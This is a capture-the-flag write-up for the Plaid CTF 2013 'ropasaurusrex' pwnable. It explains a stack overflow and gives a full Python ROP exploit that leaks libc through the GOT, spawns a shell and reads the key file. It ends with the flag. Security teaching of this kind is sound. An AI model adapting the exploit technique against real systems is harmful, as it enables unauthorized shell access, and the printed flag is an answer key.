Monday, April 22, 2013

Plaid CTF 2013 - Pwnable 200 - ropasaurusrex - [Team xbios]

ropasaurusrex is a 32-bit, dynamically linked, stripped executable. The vulnerability is straightforward, read() function can take 256 bytes of data. 144 bytes will overwrite the saved EIP. The binary is armed with NX, so we have to use a ROP payload for successful exploitation. Along with the binary, we were also given the libc library used in the remote system.

Here is the idea of exploit:

[*] Dereference GOT address of __libc_start_main
[*] Calculate the offset between __libc_start_main and system function using the given libc library file
[*] Add this offset to the dereferenced GOT address, then jump to this address, resulting in calling system() function
[*] Pass the address of string "sh" to the system() function

Finding Offset:
[ctf@renorobert Plaid]# objdump -T ./ | grep system
000f5470 g    DF .text 00000042  GLIBC_2.0   svcerr_systemerr
00039450 g    DF .text 0000007d  GLIBC_PRIVATE __libc_system
00039450  w   DF .text 0000007d  GLIBC_2.0   system
[ctf@renorobert Plaid]# objdump -T ./ | grep __libc_start_main
00016bc0 g    DF .text 000001b5  GLIBC_2.0   __libc_start_main
Finding GOT address:
[ctf@renorobert Plaid]# readelf -a ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d | grep __libc_start_main
08049618  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
Below is the exploit:
#!/usr/bin/env python

import struct
import socket

ip = ""
port = 1025

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

libc_start_main = 0x00016bc0
system = 0x00039450
got_libc_start_main = 0x08049618

payload  = "A" * 140
payload += struct.pack("<I", 0x080484b5) # pop ebx; pop esi; pop edi; pop ebp 
payload += struct.pack("<I", 0xaaa99164) # .bss for ebx, 0x08049628-0x5D5B04C4 

# load esi with the offset to system
payload += struct.pack("<I", (system - libc_start_main - 0x8)) 
payload += "JUNK"
payload += "JUNK"

# xchg eax,esi; add al,0x08; add dword [ebx+0x5D5B04C4],eax
payload += struct.pack("<I", 0x080483bb) 
payload += struct.pack("<I", 0x080483c2) # pop ebx; pop ebp
payload += struct.pack("<I", (got_libc_start_main + 0x0B8A0008)) 
payload += "JUNK"

# GOT dereference to read address of __libc_start_main
# add eax,dword [ebx-0x0B8A0008]; add esp,0x04; pop ebx; pop ebp
payload += struct.pack("<I", 0x080484de)  
payload += "JUNK"
payload += struct.pack("<I", 0x08048319) # 0xffffffff
payload += "JUNK"

# Call the system function as system("sh")
# call eax; mov eax,DWORD PTR [ebx]; cmp eax,0xffffffff; jne 0x8048478; add  esp,0x4; pop ebx; pop ebp
payload += struct.pack("<I", 0x080484db) 
payload += struct.pack("<I", 0x0804867f) # "sh" string from ".gnu.hash"

soc.send(payload + '\n')
soc.send('cat /home/ropasaurusrex/key\n')
print soc.recv(1024)

# you_cant_stop_the_ropasaurusrex
So the flag for the challenge is you_cant_stop_the_ropasaurusrex